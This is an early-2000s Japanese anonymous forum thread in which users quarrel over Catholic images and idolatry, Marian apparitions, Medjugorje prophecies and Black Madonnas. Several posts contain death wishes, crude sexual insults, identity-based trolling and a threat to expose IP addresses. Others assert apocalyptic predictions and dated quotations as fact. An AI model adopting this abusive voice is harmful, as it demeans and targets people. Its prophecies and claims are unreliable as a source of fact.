875 :
名無しさん@1周年 :02/12/13 03:44
>>872 ついに人格崩壊したな。
一生やってろよ、生きてるだけで人の迷惑になる奴が!
876 :
名無しさん@1周年 :02/12/13 03:44
ラブレターウィルスだ!
877 :
名無しさん@1周年 :02/12/13 03:45
カトに恨みを持っているやつの仕業らしい。
878 :
名無しさん@1周年 :02/12/13 03:46
青眼か?
879 :
名無しさん@1周年 :02/12/13 03:48
こんどはアオシスを荒らしにいったようだよ W)
880 :
名無しさん@1周年 :02/12/13 03:52
何が楽しいんでしょうか?
881 :
名無しさん@1周年 :02/12/13 03:53
オアシス?
882 :
名無しさん@1周年 :02/12/13 04:10
このウイルスは、駆除しないとやばいの?
883 :
名無しさん@1周年 :02/12/13 08:47
>>812 >答えやがれ!
>
>「ここやあそこの山で拝みなさいというときではなくなります。今がその時です」と言ったのは、だれだっけかな〜
だからと言って、何処に行っても拝んではならないとも書いていない。
そこに行って敬意を表現するのはむしろ自由だ。
「しなくていい」と「してはならない」は同じではないよ。
884 :
名無しさん@1周年 :02/12/13 11:23
885 :
名無しさん@1周年 :02/12/13 11:27
886 :
名無しさん@1周年 :02/12/13 11:43
>885必死はオマエ 昨夜のブラクラとウィルスの張本人だろ バカや労。設定がおかしくなって、つながらなくなったんだゾ。 この野郎!死にやがれ!カス!
俺は昨夜、ついに鹿渡のカスドモを全部論破した。ざまねえな。 おとといきやがれ。
888 :
子連れ羊@おあしす ◆Fw190Tn4p2 :02/12/13 11:50
889 :
子連れ羊@おあしす ◆Fw190Tn4p2 :02/12/13 11:52
それから、昨夜の716は私です。
>>883 おまえはサマリアの女以下。
2000年たっても、異邦人以下の理解力。
これじゃあ、獣に乗っ取られても不思議はない。
(蔑
891 :
名無しさん@1周年 :02/12/13 12:07
ファチマの太陽の奇跡からピタリ33年前の1884年10月13日、教皇 レオ13世は、ヴァチカン宮殿で側近とミサを終えてから、祭壇下で突然 恍惚となり、10分間顔面蒼白となった。それから、すぐに自室にこもり、 聖ミカエルへの祈りを作成。全ての教会で、ミサのあとに唱えるよう指令 したという。教皇は、祭壇付近で天主と悪魔が対話する声を聞いたのだ。 サタン:「私はおまえの教会を滅ぼす」 天主:「できるものならやってみなさい」 サタン:「そうするにはもっと多くの時間と力がいる。 天主:「どれほどの時間か?どれほどの力か?」 サタン:「75年から100年。それに、私に仕える者たちにもっと大きな力を」 天主:「時間を与えよう。力を与えよう。それで思うままにせよ。」
892 :
名無しさん@1周年 :02/12/13 12:08
● 1884年から75年後は1959年。教皇ヨハネス23世が第二バチカン を招集した年。前年、全ての民の御母マリアがオランダで啓示を開始した。 ● 1884年から100年後は1984年。3月25日、 教皇ヨハネ・パウロ二世は、ファチマの聖母の求めに応え、 世界を聖母の汚れなき御心に奉献された。奉献の直後におっしゃった。 『メジュゴリエはファチマの継続であり実現です』 共産主義からポーランドを解放したことを感謝されると、おっしゃった。 『私がしたのではありません。ファチマとメジュゴリエでの確証に従って 聖母が行われたのです』(1990年11月11日、アンジェロ・キム大司教へ)
893 :
名無しさん@1周年 :02/12/13 12:08
サタンの企みは、ファチマで聖母が示された通り、 教皇ヨハネ・パウロ二世が世界を聖母の汚れなき御心に奉献する ことによって崩され、ついに、ソ連は解体した。 これはサタン勢力の崩壊の第一歩に過ぎない。今後、徐々に、確実に、 悪魔の世界勢力は崩れる運命にある。今は悪魔がおのれのときの短き を知り、断末魔の叫びを上げて、最後の反撃をしているところである。 私たちがなすべきこと。それは、聖母の汚れなき御心に一致し、 メジュゴリエの平和の元后に心を合わせて家庭から社会へと 平和作りを着実に進めることである。仲間割れはサタンの罠に はまっていることの証明。これ以上、悪魔を歓ばせてはならない。 祈りの後には、必ず、レオ教皇作のこの祈りを入れよう。
894 :
名無しさん@1周年 :02/12/13 12:10
大天使聖ミカエル 戦いにおいて、我らを守り、 悪魔の凶悪なるはかりごとに、打ち勝たしめたまえ。 天主の彼(悪魔)を戒めたまわんことを、(*) ふして願い奉る。 ああ。天軍の総帥(そうすい)、霊魂をほろぼさんとて この世を徘徊する、 サタン、および、その他の悪魔を、 天主の御力によりて、 地獄に閉じ込めたまえ。 アーメン * ユダ書簡8よりの引用
895 :
名無しさん@1周年 :02/12/13 12:18
カトリックは、このように不滅です。 常に、悪魔の企みを事前に告知され、対抗策を練り、 実行に移してきました。カトリックは最後まで潰れません。 ペテロの岩の上にあるから。他は、嵐が襲ってくると 水に流されてしまいます。
896 :
名無しさん@1周年 :02/12/13 12:22
カトリックは不滅です。 常に、聖母から悪魔の企みを事前に告知され、対抗策を練り、 実行に移してきました。カトリックは最後まで潰れません。 ペテロの岩の上にあるから。他は、嵐が襲ってくると 水に流されてしまいます。聖母を無視するからです。 「蛇は、口から川のように水を女の後ろに吐き出して、女を押し流そうと した。しかし、大地は女を助け、口を開けて、竜が口から吐き出した川を 飲み干した。 竜は女に対して激しく怒り、その子孫の残りの者たち、す なわち、神の掟を守り、イエスの証しを守りとおしている者たちと戦おう として出て行った。」(黙示録12:15‐17)
897 :
名無しさん@1周年 :02/12/13 12:26
黙示録の12章を読もう。幾ら攻撃しても、聖母は超自然の力によって守ら れたので、竜は聖母の子供たちに攻撃の矛先を向けた、と書かれている。 「蛇は、口から川のように水を女の後ろに吐き出して、女を押し流そうと した。しかし、大地は女を助け、口を開けて、竜が口から吐き出した川を 飲み干した。 竜は女に対して激しく怒り、その子孫の残りの者たち、す なわち、神の掟を守り、イエスの証しを守りとおしている者たちと戦おう として出て行った。」(12:15‐17) まさに、今の状態ではないか!メジュゴリエに聖母が出現なさっているこ とは、黙示録に教皇様の次の証言を重ねれば、自ずと明らか。
898 :
名無しさん@1周年 :02/12/13 12:26
899 :
名無しさん@1周年 :02/12/13 12:30
>>890 >おまえはサマリアの女以下。
>2000年たっても、異邦人以下の理解力。
相変わらず反論になってないね。
相手と理解の方法が違うと言うだけじゃ、自分の理解の方法の正当性を示したことにはならないよ。
>これじゃあ、獣に乗っ取られても不思議はない。
>(蔑
獣って福音原理主義のこと言ってるの?すなわち俺さんですか?
900 :
名無しさん@1周年 :02/12/13 12:35
メジュゴリエは素晴らしい実を結んでいます。 なぜ、マリア様の出現の周辺で どこでも常に混乱があったのかお考え下さい。 それは周辺の人間の懐疑主義と不信仰から来るのです。 教皇様が私的に信頼なさっている運動を、どうか慎重に見守ってください。
901 :
名無しさん@1周年 :02/12/13 12:40
>>899 馬鹿をいうんじゃない!
おまえは昨夜論破されたことを知らないのか?アホヤ!
さまりやの女にスカルの井戸で、イエスはなんと言われたのか。
100ペン読み直しやがれ!
食らえ!
イエスは彼女に言われた。「わたしの言うことを信じなさい。
あなたがたが父を礼拝するのは、この山でもなく、エルサレムで
もない、そういう時が来ます。
救いはユダヤ人から出るのですから、わたしたちは知って礼拝
していますが、あなたがたは知らないで礼拝しています。
しかし、真の礼拝者たちが霊とまことによって父を礼拝する時
が来ます。今がその時です。父はこのような人々を礼拝者として
求めておられるからです。
神は霊ですから、神を礼拝する者は、霊とまことによって礼拝
しなければなりません。
903 :
名無しさん@1周年 :02/12/13 12:48
来月、アメリカがイランに攻撃を加えます。北朝鮮は核武装を再開します。 しかし、あなた方は、いつ、何が起きようとも、慌てる必要はありません。 メジュゴリエであれ、韓国であれ、日本であれ、 聖母の勝利のみ心の中に一つになる。 それこそ、聖母が私たちにお求めになっていることではあリませんか。 不安な心では、御心に一致することはできません。 平生から祈りを通して、聖母に心を合わせましょう。
904 :
名無しさん@1周年 :02/12/13 12:50
御存知ないかたのために: 太平洋戦争開始、12月8日は、聖母のおん宿り。 終戦の8月15日は聖母の被昇天。 講和会議9月8日は聖母の御降誕。 日本は完璧に聖母マリア様の御心に握られています。
905 :
名無しさん@1周年 :02/12/13 12:51
メジュゴリエ論争の経過まとめ。 1、ザニチ司教の調査報告で否定声明(84年) 2、ラッツィンガー枢機卿、ザニチ報告を不充分とみて、突返し、 再調査と判定権を司教団に移す。(86年) 2、司教団の仮報告(ザダル声明)。まだ「超自然性」は確認できていな いが、私的巡礼は容認。さらに調査を続行中。(91年) 3、ユーゴ、諸国家に分裂。調査委員会解散し、ボスニア・ヘルツェゴ ビナの新調査委員会に移行。(92年) 4、ボスニア・ヘルツェゴビナ司教団、メジュゴリエを『聖地』と公認。 なお調査を急がず続行中と声明。(93年) 5、バチカン報道官ナヴァロ・ヴァルス声明。「私的巡礼はOKだが、 未認可のため公的巡礼は不可。」(96年) 6、信仰教理省ベルトーネ声明。「地元司教に公的権限なし。新委員会に よりなおも調査中」と、91年声明を追認。(98年) 7、メジュゴリエの地元司教とフランシスコ会ついに和解。(2001年)
906 :
名無しさん@1周年 :02/12/13 12:55
ルター、カルヴァン、ツゥングリ、ウェスレーはマリアを崇敬 してました。プロは見習いましょう。 A,マルチン・ルター 1、神の母 「マリアは正しく、人の母であるばかりか、神の母とも呼ばれる。 マリアがまことの神のおん母であることは確かである。」(Martin Luther, Weimar edition of Martin Luther's Works, volume 24, 107.) 2、終生童貞 「マリアが主の御母でありかつ処女であるというのは信仰箇条である」 (Martin Luther, op. cit., Volume 11, 319-320.) 3、無原罪の宿り 「マリアの霊魂の受胎が原罪なく行われたというのは、甘美なる、 敬虔なる信仰である。すなわち、霊魂の受胎そのものにおいて、 マリアもまた原罪を免れ、神の賜物に満たされ、神によって受胎する 純なる霊魂を受け、こうして、生の最初の瞬間から、すべての罪を 拭われていたという信仰である。」
907 :
名無しさん@1周年 :02/12/13 12:56
>>901 674 :マルタ ◆JKiO8VJvj2 :02/12/13 00:43
>>670 七十人訳聖書 Psalms 137:2 の ναον は、「神殿を」と言う意味です。
763 :マルタ ◆JKiO8VJvj2 :02/12/13 02:00
>>757 >それをミスタイプという。はい、あんたの負け!
>>754 >>743 で、ADとBCのミスタイプのことは触れてるけど。
死海写本にギリシア語本文が含まれているのを否定したことに関しては訂正してませんでしたよ。
あんたの負けね。
765 :俺 :02/12/13 02:04
>>763 答えやがれ!
像がなけりゃ拝めねーのか?情けねー信仰だな。
>>664 ←新約が七十人訳聖書を引用していた証拠。
昨日、被造物の神殿にひれ伏すのは偶像礼拝ではないことが立証されました。
従って、俺さんの負け。
908 :
名無しさん@1周年 :02/12/13 12:57
>>897 何度読んでも、聖母マリヤの事を黙示録12章が言っているというのは牽強付会だと思うのだが。
まず荒野に羽を付けて逃げたりしてない。ヘロデから逃げて行ったのはエジプト。しかもマリヤじゃなくヨセフに御告げが。
地上のイエスは殺されはしてもだれをも殺してないが、
12章の男子は生まれて直ぐに保護されてるし、たくさんの民を倒すために生まれたとされている(黙19章、詩編2編)。
マリヤの生んだ人間イエスの描写とは、違うよね。
909 :
名無しさん@1周年 :02/12/13 12:58
4、被昇天 「処女マリアが天国におられることは疑い得ない。それがどのようにして 起こったのかは、私たちにはわからない。」(Martin Luther, Weimar edition of Martin Luther's Works Trans.by William J. Cole 10, p. 268.) 5、マリア崇敬 「マリア崇敬は人間の心の奥底に記されている」(Martin Luther, Weimar edition of Martin Luther's Works 10, III, p.313.) 「キリストのみがたたえられるのでしょうか?神の聖母もたたえられる べきではないでしょうか?この方は蛇の頭を踏み砕いた婦人。どうか、 私たちに耳を傾けてくだい。御子はあなたの願いを拒まないからです」 (1546年1月、ウィッテンベルクにおける最後の説教。Martin Luther, Weimar edition of Martin Luther's Works, Volume 51, 128-129.)
910 :
名無しさん@1周年 :02/12/13 12:59
B.カルヴァン 「エリサベツはマリアを「主のおん母」と呼んだ。マリアに受胎する 肉なる人が、同時に永遠の神であると彼女がいえるほど、 その人性はキリストの2性質に融和していたからである。」 (John Calvin, Calvini Opera [Braunshweig-Berlin, 1863-1900], Vol45, 35.) 「マリアに何人も子供がいたという、ヘルビディウスは、無知過ぎる。 幾つかの箇所で、それはキリストの従兄弟であると示されている からである。」(Bernard Leeming, "Protestants and Our Lady", Marian Library Studies, January 1967, p.9. ) 「御子の母に選ばれ、運命付けられることによって、神がマリアに最高の 栄誉を授けられたことは否定できない。」( John Calvin, Calvini Opera [Braunshweig-Berlin, 1863-1900], Volume 45, 348.) 「御子の母とならせたもうことにおいて、神がマリアに崇敬と誉れを お与えになったことに思いを馳せずして、キリストにある祝福を楽しむ ことはできない」(John Calvin, A Harmony of Matthew, Mark and Luke (St. Andrew's Press, Edinburgh, 1972), p.32.)
911 :
昨日も俺さんは論破されました :02/12/13 13:03
>>901 >イエスは彼女に言われた。「わたしの言うことを信じなさい。
>あなたがたが父を礼拝するのは、この山でもなく、エルサレムで
>もない、そういう時が来ます。
>救いはユダヤ人から出るのですから、わたしたちは知って礼拝
>していますが、あなたがたは知らないで礼拝しています。
>しかし、真の礼拝者たちが霊とまことによって父を礼拝する時
>が来ます。今がその時です。父はこのような人々を礼拝者として
>求めておられるからです。
だから、神殿でなくても会堂の中に聖像が自由に置けるようになったの。
>神は霊ですから、神を礼拝する者は、霊とまことによって礼拝
>しなければなりません。
787 :マルタ ◆JKiO8VJvj2 :02/12/13 02:16
>>782 如何なる信仰の表現も禁じるなら、賛美歌なんて歌ったら駄目よ、
聖書も使ったら駄目よ。
793 :名無しさん@1周年 :02/12/13 02:20
>>787 そうそう。オルガンなどの楽器もダメですな。
正教などは、今でもオルガンとか厳禁らしいが。
しかし、正教徒は俺さんみたいに「オルガン使ってるからお前はダメ」とは言わんけどね。
正教徒が言うならまだわかるんだが、俺さんみたいにわけわからん、どこの誰が作ったかわからんような教会の人が言うから更にこっけいになる
912 :
名無しさん@1周年 :02/12/13 13:06
>>908 ルターのこと言葉をよくお読み下さい。『蛇の頭を踏み砕く婦人』
とは誰でしょう。どこに書かれているでしょう。
黙示録12:1の『婦人』です。
「キリストのみがたたえられるのでしょうか?神の聖母もたたえられる
べきではないでしょうか?この方は蛇の頭を踏み砕いた婦人。どうか、
私たちに耳を傾けてくだい。御子はあなたの願いを拒まないからです」
(1546年1月、ウィッテンベルクにおける最後の説教。Martin Luther,
Weimar edition of Martin Luther's Works, Volume 51, 128-129.)
>>911 どっちに論破されたかもわかんねー痴呆老人となんか、はなしたくネーヨ。ばーか
914 :
名無しさん@1周年 :02/12/13 13:08
>>908 >地上のイエスは殺されはしてもだれをも殺してないが、
>12章の男子は生まれて直ぐに保護されてるし、たくさんの民を倒すために生まれたとされている(黙19章、詩編2編)。
>
>マリヤの生んだ人間イエスの描写とは、違うよね。
イエスでなければ誰なんですか?ホルスとでも言いたいの?
そのホルスを生んだのはイシスだといいたいのかね。
915 :
子連れ羊@おあしす ◆Fw190Tn4p2 :02/12/13 13:10
俺さん、あなたは本当に常識の無い方ですな。オアシスまで追ってくるとはどういうことですか? 私に何か言うことがあればここでカキコしたらいいでしょう。 あなたの人間性を疑いますね。
917 :
名無しさん@1周年 :02/12/13 13:11
>>913 >神は霊ですから、神を礼拝する者は、霊とまことによって礼拝
>しなければなりません。
とは、賛美歌を歌うことも禁じることだと解釈するんだね。
920 :
名無しさん@1周年 :02/12/13 13:15
>>916 名前:俺 :02/12/13 13:11
>
>>914 ホルスに決まってんだろ!馬鹿
黙示録 12:5 女は男の子を産んだ。この子は、鉄の杖ですべての国民を治めることになっていた。子は神のもとへ、その玉座へ引き上げられた。
俺さんの解釈では、国民を治め神のもとえその玉座へ引き上げられたのは、ホルスでした。
了解。俺さんはホルス崇拝者です。
921 :
名無しさん@1周年 :02/12/13 13:16
>>919 >馬鹿屋労。賛美かが偶像か!死ね!
俺さん自身が認めたことじゃん。
>>920 偽のハンドルを使って、俺を追い出そう立って、そうはいかね―ゾ。きたネーぞ。テメー。
>>921 詭弁を使えば、偶像を拝む口実になるとでも思ってるのか?脳味噌くさッてんぞ
924 :
名無しさん@1周年 :02/12/13 13:18
914 :名無しさん@1周年 :02/12/13 13:08
>>908 >地上のイエスは殺されはしてもだれをも殺してないが、
>12章の男子は生まれて直ぐに保護されてるし、たくさんの民を倒すために生まれたとされている(黙19章、詩編2編)。
>
>マリヤの生んだ人間イエスの描写とは、違うよね。
イエスでなければ誰なんですか?ホルスとでも言いたいの?
そのホルスを生んだのはイシスだといいたいのかね。
920 名前:名無しさん@1周年 :02/12/13 13:15
>>916 名前:俺 :02/12/13 13:11
>
>>914 ホルスに決まってんだろ!馬鹿
黙示録 12:5 女は男の子を産んだ。この子は、鉄の杖ですべての国民を治めることになっていた。子は神のもとへ、その玉座へ引き上げられた。
俺さんの解釈では、国民を治め神のもとえその玉座へ引き上げられたのは、ホルスでした。
了解。俺さんはホルス崇拝者です。
>>92 4偽のハンドルを使って、
俺を追い出そう立って、そうはいかね―ゾ。
きたネーぞ。テメー。
926 :
子連れ羊@おあしす ◆Fw190Tn4p2 :02/12/13 13:19
話になりません。 騙りがいやならトリップを使えばいいでしょうに。
927 :
名無しさん@1周年 :02/12/13 13:20
>>923 >偽のハンドルを使って、俺を追い出そう立って、そうはいかね―ゾ。きたネーぞ。テメー。
それなら早くトリップ付けろよ。(本物なんて付けても意味無いよ。
929 :
名無しさん@1周年 :02/12/13 13:21
>>925 だから、トリップ付けろよ。(本物なんて付けても意味ないって。ぷッ
931 :
子連れ羊@おあしす ◆Fw190Tn4p2 :02/12/13 13:23
俺さん、なぜそんな風に罵倒しますか? マタイ5:22 箴言14:17 エペソ4:26,27 箴言29:22 これを読みましょう。
>>931 読んだ。
934 :
名無しさん@1周年 :02/12/13 13:34
>>932 それで、神殿にひれ伏した旧約の民は偶像礼拝者。
賛美歌の使用も偶像礼拝。
という結論が出たわけですか。わかりました。
935 :
名無しさん@1周年 :02/12/13 13:36
>>930 だから、本物って付けても意味ないって。
936 :
俺(本物(本物 :02/12/13 13:47
例えば↑んなことしても、本物に近づくわけじゃないんだよ。 俺さん、考える能力0だね。
ロムしている皆さん。カトは嘘吐きです。 偶像で包んだキリスト教。キリスト教で包んだ偶像教です。 はっきりしているのは、キリストの明らかな教え、 鹿渡さえ、「公的啓示」と証している単純明解なキリストのことばです。 それに矛盾するものは、クリスチャンとして捨てるべきです! 簡単なことです。 鹿渡は八百万の神々(諸聖人)教です。ワラ
>>936自分でやっといて、俺に罪をなすりつけんじゃねー! 死ね!
俺は全部論破した。諦めて、偶像教から離れよ!主のみ告げ!
940 :
名無しさん@1周年 :02/12/13 13:53
944 :
名無しさん@1周年 :02/12/13 14:46
>>798 受け入れられないだけだよ。心の病がそうさせているのさ。
自分の責任をカトのせいにしているのさ。
945 :
名無しさん@1周年 :02/12/13 14:51
俺さんパニック状態だね。ププっ
946 :
名無しさん@1周年 :02/12/13 14:56
>>943 黒マリアの件は、全く歴史的根拠はないけどね?
それはプロテスタント側が作り出した推測さ。
似ていればみんな同じと考える君たちの幼児性を示すだけの話さ。
ルカは医者で画家だったとされる。当然絵を描いた。
それを君たちは認めていないに過ぎないさ。
947 :
名無しさん@1周年 :02/12/13 14:58
>>946 カトリックのサイトでも
この絵が『作者不詳』になってるのはどうしてですか?
ルカ云々は伝説だそうですが…
948 :
名無しさん@1周年 :02/12/13 15:00
>>946 >黒マリアの件は、全く歴史的根拠はないけどね?
現に『黒い聖母』の像が無数に世界にあるじゃないの。根拠がないどころか、世界の事実を否定するわけ?w
949 :
名無しさん@1周年 :02/12/13 15:03
カトも正教もイシス教に名称を変更したほうがいいかな。
950 :
名無しさん@1周年 :02/12/13 15:04
結局、>1がただしかったツーことで、
951 :
名無しさん@1周年 :02/12/13 15:06
>>947 科学的に根拠が認められないというだけの話さ。
>>948 黒ければイシスなのかね?不思議なことを言うな。
君の脳には、似た物はみな同一に見えるのかね?
952 :
名無しさん@1周年 :02/12/13 15:07
>>949 それは君たちに与える名だよ。
君たちはイシス復活のお手伝いをやつてるのだからな。
953 :
名無しさん@1周年 :02/12/13 15:10
>>950 彼らは異教に魅入られたのさ。
ミイラ取りのつもりだろうが、ミイラになってしまったのさ。
954 :
名無しさん@1周年 :02/12/13 15:11
955 :
名無しさん@1周年 :02/12/13 15:11
>>953 オマエは偶像だらけだもんなあ。異教とフリメの。ワラ
956 :
名無しさん@1周年 :02/12/13 15:13
まぁ、君たち異邦人が異邦人を多神教に立ち戻るお手伝いを してくれることはユダヤ人にとって都合がいい。 それだけだ。頑張ってくれたまえ。
957 :
名無しさん@1周年 :02/12/13 15:14
958 :
名無しさん@1周年 :02/12/13 15:16
>>955 その調子だ。
それによって君はどんどん悪霊の世界へ入っていくのさ。
私が正しいことを言うのに我慢ならないようだが、
所詮は君は異邦人だ。今日も偶像ネタで遊んでいたまえ。
959 :
名無しさん@1周年 :02/12/13 15:16
>>957 どこの誰だか知らないけど、ネタを流すのは止めようね。
悪質だよ。
960 :
名無しさん@1周年 :02/12/13 15:17
>>948 >
>>946 >黒マリアの件は、全く歴史的根拠はないけどね?
>
>現に『黒い聖母』の像が無数に世界にあるじゃないの。根拠がないどころか、世界の事実を否定するわけ?w
なぜ黒い肌の聖母の聖像が存在するのか、その歴史的理由があいまいだっていうこと。
仮に俺さんの歴史的推測が正しければ、そういうものを処分すればいいってこと。
なんか文句ある?
961 :
名無しさん@1周年 :02/12/13 15:19
>>959 どこの誰だか知らないけど、悪戯するのは止めようね。
昨日もやって、今日もかい?悪質だよ。 Ipさらすよ。
962 :
名無しさん@1周年 :02/12/13 15:20
>>960 黒いマリア像は、マリアを黒い女神像の属性を
超えさせるために行ったものさ。
異教が根強く残る地域で実践された
ユダヤの呪術的な技法なんだがな・・・。
963 :
名無しさん@1周年 :02/12/13 15:20
>>914 ホルス??
そんな脈絡のない結論をまた何で・・?
読んだ限りでは、
詩編2・110編、イザヤ9章、黙示録12・19章などなどのような描写と、
イザヤ50〜53、60章などとは、
およそ同一人物には思えないがそれでも同じ人についてなんでしょ。
黙示録に書いてある子は、地上のものでない国の支配者キリストとしての誕生でしょう。
「わたしの母、わたしの兄弟とは、わたしの言葉を聞いてそれを行なう人だ」と、書いてある。
964 :
名無しさん@1周年 :02/12/13 15:20
奈良の大仏って黒いよね。 盧遮那仏はイシスですか? 奈良に行ってきて壊して来い。俺サン。
965 :
名無しさん@1周年 :02/12/13 15:21
966 :
名無しさん@1周年 :02/12/13 15:23
>>962 >
>>960 黒いマリア像は、マリアを黒い女神像の属性を
>超えさせるために行ったものさ。
>異教が根強く残る地域で実践された
>ユダヤの呪術的な技法なんだがな・・・。
それ、俺サンの推測に過ぎないでしょ。
仮に正しいとして、そういう像だけ処分すればいいってことだって言ってるの。
967 :
名無しさん@1周年 :02/12/13 15:23
>>961 なぜ、そうまでしてデマを流すわけ?
ネオに恨みでもあるの?
968 :
名無しさん@1周年 :02/12/13 15:23
ユダヤ人は異教のものをしばしば受け入れた。 それは自分達の神を高めるためである。 天使なんていう概念はそうさ。青銅の蛇もそうだよ。
969 :
名無しさん@1周年 :02/12/13 15:23
971 :
名無しさん@1周年 :02/12/13 15:25
>>969 この間、ネオの司祭が御父が一番偉いみたいなこと行っててよ。
ネオはダメポです。
972 :
名無しさん@1周年 :02/12/13 15:26
>>965 マリア?私は女ではないが?
>>966 いや、こういう像を処分すれば、
その女神達が復活してしまう。
カトリック当局はそれを知っているからしないのだよ。
973 :
名無しさん@1周年 :02/12/13 15:27
>>970 >奈良の大仏に話をすり返れば、
>偶像すうはいの罪から逃れられるのか?
だから、聖像を神として拝んでいるんではありません。
記念として敬ってるの。
974 :
名無しさん@1周年 :02/12/13 15:29
マリアの地位を高めた理由の一つに、女神達は人間並みで、 神から選ばれた人間の女マリアに及ばないという理論を 組み立てる必要があったのさ。 そうしなければ異教に論争で敗れてしまうからだよ。
975 :
名無しさん@1周年 :02/12/13 15:33
カトリック教会はマリアに女神達を超える属性を与えてはいるが、 マリアは人間の女。 よって、女神達はマリアには敵わないという 仕組みになっているわけさ。 この仕組みを破れば、女神達がまた復活するということになるのさ。 プロテスタントは大変罪なことをしたもんだ。ワラ
俺は全部論破した。諦めて、偶像教から離れよ!主のみ告げ!
偽ユダヤ人ウザイ おまえはバフォメットのチンポを あり難く舐めてりゃいんだよ。口出すな。
978 :
名無しさん@1周年 :02/12/13 15:36
現に教会の真理、聖書が描いた世界は科学によって破られつつある。 いかに聖書の世界が虚構であるか、 心理学の世界でも明らかにされつつある。 このようなことを許しておいて良いのかね?キリスト教徒諸君。 しかし、ユダヤ人には関係はない問題だ。 我々は呪によって創造された民。主はどの神よりも高い。
>>972 、3、4、5
偽ユダヤ人ウザイ
おまえはバフォメットのチンポを
あり難く舐めてりゃいんだよ。口出すな。
980 :
名無しさん@1周年 :02/12/13 15:37
>>976 あじめから、偶像なんてないって。
そもそも、拝む対象は神しかいないから。
>>978 偽ユダヤ人ウザイ
おまえはバフォメットのチンポを
あり難く舐めてりゃいんだよ。口出すな。
983 :
名無しさん@1周年 :02/12/13 15:39
>>976 そうだ。それによってキリスト教は異教に論破されるだろう。
異教が復活し正統になれば良い。我々には関係はないからな。
>>977 お前はホモの気もあるようだ。
拉致監禁しているのは男なのか?かわいそうなやつだ。
984 :
名無しさん@1周年 :02/12/13 15:39
>>977 >偽ユダヤ人ウザイ
>おまえはバフォメットのチンポを
>あり難く舐めてりゃいんだよ。口出すな。
フリメオタな話やめてよね。
985 :
名無しさん@1周年 :02/12/13 15:41
>>981 私に口を出されたらそんなに困るのかね?
君の主のイシスとホルスが困っているのかね。ワラ
986 :
名無しさん@1周年 :02/12/13 15:43
キリスト教やイスラムが異教の地位に落ちてくれたら ユダヤ人にとっては大変ありがたい。
987 :
名無しさん@1周年 :02/12/13 15:44
>>982 >偶像を使って神を拝むんじゃねーよ!馬鹿
>>980 それ自体を神として拝まないと偶像にはならないよ。
神のみを拝んでいる限り、偶像の使用にはならないの。
988 :
名無しさん@1周年 :02/12/13 15:45
>>987 俺氏たちはキリスト教を名乗るイシスとホルスの信者さ。
帰正できるように祈ってやりなさい。
989 :
シスター・ブリージ :02/12/13 15:48
みなさーん。何を馬鹿な話に花を咲かせているのですか。 何度もいいましたでしょう。偶像ではなく、聖像。 イスラエルの神は、最初モーセに証したときには、 すがたが見えなかったので、「どんな像もつくってはなりません」 (申命記4:15-18)とおっしゃったのです。 でも、その後、お姿を現わしましたね。 そう。イエズスとして。イエズスは「神の像」と言われました。 ですから、イエズス以後、神様のみ姿がはっきりしたので、 申命記の禁止事項は効力がなくなったわけです。
990 :
シスター・ブリージ :02/12/13 16:09
6:29 神殿の周囲の壁には、すべて、奥の間も外の間も、ケルビムの 彫刻、なつめやしの木と花模様の彫り物を彫った。 6:30 神殿の床には、奥の間も外の間も、金をかぶせた。 6:31 彼は内堂の入口を、オリーブ材のとびらと五角形の戸口の柱で 作った。 6:32 二つのオリーブ材のとびらである。彼はその上に、ケルビムの 彫刻となつめやしの木と花模様を彫り、金をかぶせた。ケルビムと、 なつめやしの木の上に金を延ばしつけたのである。 (1列王記6:29-32) 大祭司は、この聖櫃に向かって平伏しました。 2体のケルビム像に向かって平伏していても、拝む対象は神でしたね。 カトリックでも同じです。神様を礼拝するために神様からいただいた聖像は、 どんな貴重な品物よりも大切にします。
991 :
シスター・ブリージ :02/12/13 16:14
1982年に聖母はメジュゴリエで視幻者ミリアナに預言されました。 「サタンが実在することを知らなければなりません。ある日、彼は 神のみ前に来て、教会を1世紀試みる許可を願いました。今の世紀 は邪悪な勢力の下にありますが、あなたに託した秘密が実現するとき、 彼の勢力は壊れるでしょう…」 これは19世紀末にレオ13世が経験した預言的幻のことです。 教皇ヨハネ・パウロ二世も同様のことを言われました。 「今人類は黙示録12章の時代に生きているばかりか、 カトリック教会最後の対決に直面している」 メジュゴリエに聖母が御出現になる丁度4年前の、 1977年6月4日には: 「私たちは歴史最大の対決を目前にしています。人類がかつて直面した ことのない、最大のものです。教会と反教会い、福音と反福音との最後 の対決を前にしています。」
992 :
シスター・ブリージ :02/12/13 16:15
1994年の著書『希望の敷居を超える』では、ファチマに言及され:
「教皇に選出されてから、公共かいの問題に深く関わり、同じ確信をもつ
ようになりました。勝利がくるとすればマリアから。主は教会の勝利を求め
られ、将来、聖母に結びつけようとなされています。私はファチマについ
て多くを知る前からそう確信していました。ラサレット、ルルド、ファチマ
の間に確かな繋がりがあることが見て取れました。こうして、暗殺未遂の
81年5月13日が来ました。聖母がファチマで子供たちに現れ、20世紀末に
実現しつつあると思われるその預言をお告げになったまさにその記念日
だったのです。最初はそれに気づきませんでした」
1984年3月25日には:
「メジュゴリエはファチマの継続であり実現です」
パパ様によれば、メジュゴリエを理解するには、ラサレットから理解する
必要があるようです。
ラサレットの預言
http://salveregina.virtualave.net/appritions.html#アンカー500
993 :
シスター・ブリージ :02/12/13 16:16
メジュゴリエの10の秘密 ヴラシック神父の要約: 目に見えるしるしが人類に与えられる前に、世界に三つの警告がある。 ミリアナがそれらを証言する一人になる。 警告の1つの10日前に、ミリアナは一人司祭を選ぶ。ミリアナの証言が ご出現の真実を確定させ、世界の回心を刺激する。 3つ目の警告と共に、誰にも見える「しるし」が、メジュゴリエの聖地 の上に現れる。しるしが御出現の証明になり、人々を信仰に戻らせる。 第9、第10の秘密は深刻である。それは世界の罪への天罰に関係する。 天罰は避けられない。全世界が回心するのを期待できないからである。 祈りと償いによって軽減できても、排除はできない。
994 :
名無しさん@1周年 :02/12/13 16:16
995 :
シスター・ブリージ :02/12/13 16:16
ミリアナは、第7の秘密に含まれる、世界を脅かしている悪の1つが 祈りと断食によって回避されてきたと言っている。 「祈りと断食によって戦争を回避し、自然法則を引き延ばせることを忘 れています。最初の警告の後で、他の警告がかなり短い期間のうちに続 くでしょう。そのあいだの期間は恵みと回心の期間になるでしょう」 見えるしるしが現れてからでは、生きている人が回心する時間はほとんど ない。聖母が回心と和解を緊急に呼びかけている理由がそこにある。 祈りと償いへの招きは悪と戦争の回避するためでもあるが、特に、 霊魂の救済に向けられている。 ミリアナによれば、聖母の預言された出来事は近い。この経験によって 「できるだけ早く回心してください。神に心を開いてください」と 彼女は世界に呼びかけている。
996 :
名無しさん@1周年 :02/12/13 16:16
997 :
